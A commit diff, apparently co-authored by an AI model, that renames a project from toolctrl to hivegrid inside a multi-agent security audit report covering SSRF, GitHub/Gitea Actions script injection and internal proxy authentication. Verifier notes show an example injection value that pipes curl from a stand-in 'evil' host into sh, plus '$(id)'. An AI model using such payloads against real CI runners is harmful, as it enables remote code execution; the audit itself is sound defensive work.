Update hivegrid-cloud reference to latest main

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
This commit is contained in:
davidandClaude Fable 5 committed 2026-07-08 16:15:37 +02:00
1 parent e98d38e716
commit 7b21524c86
3781 files changed
+373484 -225607

No files matched your search

@@ -1,4 +1,4 @@
# Security Audit — toolctrl-boilerplate
# Security Audit — hivegrid-cloud
Date: 2026-05-29
Method: 10 parallel security finders (multi-agent) + adversarial per-finding verification.
@@ -107,7 +107,7 @@ media.name = sanitizeFileName(media.name);
**Recommended fix**
Replace the raw fetch with the existing SSRF-safe helper fetchOutboundHttpWithRedirects / validateOutboundHttpUrl from @toolctrl/foundation/outbound-http (which already does DNS resolution and blocks loopback/private/link-local/unique-local ranges). Better: only accept data: URLs for inbound media uploads and reject any http(s) source-of-record URL the client supplies; never fetch a client-provided remote URL server-side without the allowlist.
Replace the raw fetch with the existing SSRF-safe helper fetchOutboundHttpWithRedirects / validateOutboundHttpUrl from @hivegrid/foundation/outbound-http (which already does DNS resolution and blocks loopback/private/link-local/unique-local ranges). Better: only accept data: URLs for inbound media uploads and reject any http(s) source-of-record URL the client supplies; never fetch a client-provided remote URL server-side without the allowlist.
**Verifier notes**
@@ -589,9 +589,9 @@ Additionally validate the value is a single-line https URL (reject newlines/meta
**Verifier notes**
I read both workflow files in full and confirmed the cited sink exactly. In .github/workflows/e2e-readiness.yml lines 161 and 165 (and identically .gitea/workflows/e2e-readiness.yml lines 172 and 176) two workflow_dispatch inputs declared as type: string -- workflow_webhook_target_url (lines 32-36) and subscription_success_path (lines 42-46) -- are interpolated as ${{ inputs.* }} directly into a run: shell block: printf 'E2E_WORKFLOW_WEBHOOK_TARGET_URL=%s\n' "${{ inputs.workflow_webhook_target_url }}" >> "$GITHUB_ENV". GitHub/Gitea Actions performs this as textual substitution into the script source BEFORE the shell parses it, which is the canonical Actions script-injection pattern. Because the value lands inside double quotes, a payload using $(...) command substitution executes (command substitution runs inside double quotes), and a literal double-quote or newline in the value breaks out of the quoting entirely -- e.g. a value of "; curl -s http://evil/x | sh; echo " or $(id) yields arbitrary command execution on the runner and can also poison $GITHUB_ENV with extra lines. I searched the entire repo (grep across yml/ts/js/sh) for any validation of these two inputs and found NONE: the only input-validation present is the node -e isIP() check at .gitea lines 117-120, which guards the unrelated vars.TOOLCTRL_GITEA_HOST_IP value, not these user inputs. The boolean gates workflow_webhook_run / subscription_success (type: boolean, constrained to true/false) do not mitigate because the same actor controls them and trivially sets them true. The downstream consumers (tests/e2e/subscription-smoke.spec.ts, workflow-builder-run.mobile-a11y.spec.ts) only read the resulting env var and are irrelevant -- injection happens at the YAML-to-shell substitution step before any test runs. The one genuine bound, correctly stated by the finder, is that workflow_dispatch is only triggerable by an actor with repo write access, so this is defense-in-depth against an insider or compromised write-scoped token rather than an anonymous-attacker path. On the Gitea variant it runs on the self-hosted toolctrl-ci runner (persistent host, internal network reach to Gitea/Coolify), raising blast radius if exploited. The exploit path is open and the finding is accurate; severity Low is appropriate given the write-access precondition.
I read both workflow files in full and confirmed the cited sink exactly. In .github/workflows/e2e-readiness.yml lines 161 and 165 (and identically .gitea/workflows/e2e-readiness.yml lines 172 and 176) two workflow_dispatch inputs declared as type: string -- workflow_webhook_target_url (lines 32-36) and subscription_success_path (lines 42-46) -- are interpolated as ${{ inputs.* }} directly into a run: shell block: printf 'E2E_WORKFLOW_WEBHOOK_TARGET_URL=%s\n' "${{ inputs.workflow_webhook_target_url }}" >> "$GITHUB_ENV". GitHub/Gitea Actions performs this as textual substitution into the script source BEFORE the shell parses it, which is the canonical Actions script-injection pattern. Because the value lands inside double quotes, a payload using $(...) command substitution executes (command substitution runs inside double quotes), and a literal double-quote or newline in the value breaks out of the quoting entirely -- e.g. a value of "; curl -s http://evil/x | sh; echo " or $(id) yields arbitrary command execution on the runner and can also poison $GITHUB_ENV with extra lines. I searched the entire repo (grep across yml/ts/js/sh) for any validation of these two inputs and found NONE: the only input-validation present is the node -e isIP() check at .gitea lines 117-120, which guards the unrelated vars.HIVEGRID_GITEA_HOST_IP value, not these user inputs. The boolean gates workflow_webhook_run / subscription_success (type: boolean, constrained to true/false) do not mitigate because the same actor controls them and trivially sets them true. The downstream consumers (tests/e2e/subscription-smoke.spec.ts, workflow-builder-run.mobile-a11y.spec.ts) only read the resulting env var and are irrelevant -- injection happens at the YAML-to-shell substitution step before any test runs. The one genuine bound, correctly stated by the finder, is that workflow_dispatch is only triggerable by an actor with repo write access, so this is defense-in-depth against an insider or compromised write-scoped token rather than an anonymous-attacker path. On the Gitea variant it runs on the self-hosted toolctrl-ci runner (persistent host, internal network reach to Gitea/Coolify), raising blast radius if exploited. The exploit path is open and the finding is accurate; severity Low is appropriate given the write-access precondition.
**Existing mitigations:** None found. No input validation, allowlist, sanitizer, or env-binding exists for workflow_webhook_target_url or subscription_success_path. The only validation in the workflow (isIP on TOOLCTRL_GITEA_HOST_IP, .gitea lines 117-120) guards an unrelated vars value. The only real bound is the trigger precondition: workflow_dispatch requires repo write access, so the attacker must already be privileged (insider / compromised write token).
**Existing mitigations:** None found. No input validation, allowlist, sanitizer, or env-binding exists for workflow_webhook_target_url or subscription_success_path. The only validation in the workflow (isIP on HIVEGRID_GITEA_HOST_IP, .gitea lines 117-120) guards an unrelated vars value. The only real bound is the trigger precondition: workflow_dispatch requires repo write access, so the attacker must already be privileged (insider / compromised write token).
---
@@ -634,7 +634,7 @@ One nuance, in fairness to the finder: the global CSP is PARTIAL — it has base
Note also a benign interaction: the embed.forms route sets x-frame-options: ALLOWALL (embed.forms.$formKey.tsx:60), but appendWebSecurityHeaders only skips re-setting CSP when present (server.ts:258) and unconditionally setHeader()s X-Frame-Options back to SAMEORIGIN — i.e. it makes the posture MORE restrictive (likely a functional bug for the embed feature), not less. This is the opposite of a security weakness.
- **Marketing outbound adapter SSRF guard omits DNS resolution (literal-hostname only)** (SSRF, Webhooks & Signature Verification)
- The technical defect is real and accurately described: isOutboundUrlAllowed (packages/marketing-outbound/src/types.ts:135-152) validates only the literal URL hostname string against localhost/RFC1918/169.254/metadata suffixes and never resolves DNS, so adapterFetch (line 107) would fetch a tenant-supplied URL whose public-looking hostname resolves/rebinds to an internal/metadata IP. The house-standard hardened helper packages/foundation/src/outbound-http.ts does the correct thing (dns.lookup with all:true plus a resolved-address block at lines 122-136), confirming the adapter diverges from the safe pattern. HOWEVER, there is no attacker-reachable path at runtime. I confirmed @toolctrl/marketing-outbound is imported by exactly one non-test source file (apps/worker/src/jobs/marketing-outbound.ts), and that handler is never imported, bootstrapped, or wired to a queue in apps/worker/src/index.ts (zero 'marketing' references there; no createWorker/Queue/bootstrap). runMarketingOutboundJob is called only from *.test.ts files. The module exports MARKETING_OUTBOUND_ACTIVE_SUBSCRIBER = false and its own docstring states it 'does not claim or bootstrap' a queue and that a future subscriber must add its own bootstrap. Tenant config (custom-webhook config.url, slack/discord config.webhookUrl) is attacker-controllable in principle, but no HTTP route or queue subscriber can ever invoke the adapter today. This is latent/dead code, exactly as the finder honestly disclosed (self-rated Low, 'currently NOT live'). No current exploit path exists, so for present exploitability this is a false positive; the finder did not overclaim.
- The technical defect is real and accurately described: isOutboundUrlAllowed (packages/marketing-outbound/src/types.ts:135-152) validates only the literal URL hostname string against localhost/RFC1918/169.254/metadata suffixes and never resolves DNS, so adapterFetch (line 107) would fetch a tenant-supplied URL whose public-looking hostname resolves/rebinds to an internal/metadata IP. The house-standard hardened helper packages/foundation/src/outbound-http.ts does the correct thing (dns.lookup with all:true plus a resolved-address block at lines 122-136), confirming the adapter diverges from the safe pattern. HOWEVER, there is no attacker-reachable path at runtime. I confirmed @hivegrid/marketing-outbound is imported by exactly one non-test source file (apps/worker/src/jobs/marketing-outbound.ts), and that handler is never imported, bootstrapped, or wired to a queue in apps/worker/src/index.ts (zero 'marketing' references there; no createWorker/Queue/bootstrap). runMarketingOutboundJob is called only from *.test.ts files. The module exports MARKETING_OUTBOUND_ACTIVE_SUBSCRIBER = false and its own docstring states it 'does not claim or bootstrap' a queue and that a future subscriber must add its own bootstrap. Tenant config (custom-webhook config.url, slack/discord config.webhookUrl) is attacker-controllable in principle, but no HTTP route or queue subscriber can ever invoke the adapter today. This is latent/dead code, exactly as the finder honestly disclosed (self-rated Low, 'currently NOT live'). No current exploit path exists, so for present exploitability this is a false positive; the finder did not overclaim.
- **Hardcoded default HMAC secret for legacy API-key hashing falls back silently when env unset** (Secrets, Cryptography & Config Exposure)
- The finding's premise — "if an operator never sets the per-deploy hash secret, the public default is used silently" — does not hold against the actual wiring.
@@ -677,7 +677,7 @@ The session-binding gap the finder describes is real as written (transports keye
- **Workflow start/trigger/continue-start endpoints accept caller-supplied tenantId with no per-tenant authorization beyond the shared proxy HMAC** (API Input Validation, CSRF, Rate Limiting, Mass Assignment, Info Disclosure)
- I traced the full data flow and the finder's central premise — that these three endpoints are uniquely weaker than their siblings (run/continue/executions) which "derive tenant from an authenticated API key" — is incorrect.
(1) Reachability is gated. All three actions call requireInternalWebApiProxyRequest(request) as the first statement (workflows.executions.$id.start.tsx:31, workflows.trigger.$id.tsx:44, workflows.executions.$id.continue.start.tsx:31). That guard (internalWebApiProxy.server.ts:8-12) returns 404 unless the request carries header x-toolctrl-internal-web-api-proxy:1 AND a valid HMAC-SHA256 signature over `METHOD\n{pathname}{search}` keyed on API_ACCESS_TOKEN, compared with timingSafeEqual. The auth test file confirms forged and direct (unsigned) calls are rejected with 404 before any side effect (workflows.api-auth.test.tsx:559-567). So tenantId is NOT reachable by any party who does not already possess API_ACCESS_TOKEN.
(1) Reachability is gated. All three actions call requireInternalWebApiProxyRequest(request) as the first statement (workflows.executions.$id.start.tsx:31, workflows.trigger.$id.tsx:44, workflows.executions.$id.continue.start.tsx:31). That guard (internalWebApiProxy.server.ts:8-12) returns 404 unless the request carries header x-hivegrid-internal-web-api-proxy:1 AND a valid HMAC-SHA256 signature over `METHOD\n{pathname}{search}` keyed on API_ACCESS_TOKEN, compared with timingSafeEqual. The auth test file confirms forged and direct (unsigned) calls are rejected with 404 before any side effect (workflows.api-auth.test.tsx:559-567). So tenantId is NOT reachable by any party who does not already possess API_ACCESS_TOKEN.
(2) The claimed asymmetry with the siblings does not exist. The siblings call getWorkflowApiKeyFromRequest -> validateApiKey (apiService.ts:306-313, 158-213). The worker is the only real caller and it authenticates with X-Api-Key: API_ACCESS_TOKEN (workflow-trigger-http-executor.ts:66). For that service-token, validateApiKey takes the branch at apiService.ts:198-207, where the tenant is resolved from getServiceTenantScopeFromRequest — which reads the SAME caller-supplied ?tenantId / X-Tenant-Id / X-Account-Id values (apiService.ts:132-141) and performs NO membership check (just findLegacyTenantByIdOrSlug). So the siblings trust caller-supplied tenant scope exactly as much as the three cited endpoints once the shared service token is presented. The per-tenant stored-API-key path (validateTenantApiKey) is a different code path the worker never uses, and it actually rejects requests that carry tenantId/X-Tenant-Id (apiService.ts:209-211). The trust boundary is identically the single shared API_ACCESS_TOKEN in both groups.
@@ -690,7 +690,7 @@ Net: the described scenario reduces to 'a party holding the shared internal serv
- **Internal workflow error messages are returned near-verbatim to the proxy caller** (API Input Validation, CSRF, Rate Limiting, Mass Assignment, Info Disclosure)
- The cited sink (redactWorkflowApiErrorMessage in apps/web/app/routes/internal/api/__workflows/workflowApiErrors.server.ts:35-49) does echo raw Error.message after stripping only credential substrings, including for status>=500. But the claimed exploit path to an attacker is closed.
(1) Every consumer route (workflows.run.$id.tsx:9, workflows.trigger.$id.tsx, workflows.stream.$executionId.tsx:11, workflows.executions.$id*.tsx, etc.) calls requireInternalWebApiProxyRequest(request) as its FIRST statement. That guard (apps/web/app/utils/api/internalWebApiProxy.server.ts:8-12) throws Response 404 unless the request carries header x-toolctrl-internal-web-api-proxy:1 AND a valid HMAC-SHA256 signature over METHOD\npath?query keyed with the server secret apiAccessToken/API_ACCESS_TOKEN (timing-safe compared). An external or tenant-scoped attacker cannot forge this. The auth test workflows.api-auth.test.tsx explicitly proves direct calls (lines 526-537) and forged-signature calls (539-567, plus it.each over all 7 routes 559-567) are rejected with 404 before any side effect.
(1) Every consumer route (workflows.run.$id.tsx:9, workflows.trigger.$id.tsx, workflows.stream.$executionId.tsx:11, workflows.executions.$id*.tsx, etc.) calls requireInternalWebApiProxyRequest(request) as its FIRST statement. That guard (apps/web/app/utils/api/internalWebApiProxy.server.ts:8-12) throws Response 404 unless the request carries header x-hivegrid-internal-web-api-proxy:1 AND a valid HMAC-SHA256 signature over METHOD\npath?query keyed with the server secret apiAccessToken/API_ACCESS_TOKEN (timing-safe compared). An external or tenant-scoped attacker cannot forge this. The auth test workflows.api-auth.test.tsx explicitly proves direct calls (lines 526-537) and forged-signature calls (539-567, plus it.each over all 7 routes 559-567) are rejected with 404 before any side effect.
(2) The only legitimate 'proxy caller' is the internal worker (apps/worker/src/jobs/workflow-trigger-http-executor.ts), a server-to-server caller that holds the secret. The error body it receives is consumed in workflow-trigger.ts:263-277 — logged or rethrown into the queue machinery — NOT returned to any external HTTP client. The public API app (apps/api) does not reference workflows at all (grep found zero non-test hits), so the finder's claim that the result is 'surfaced back through the public workflow run/trigger flows' to a tenant is unfounded.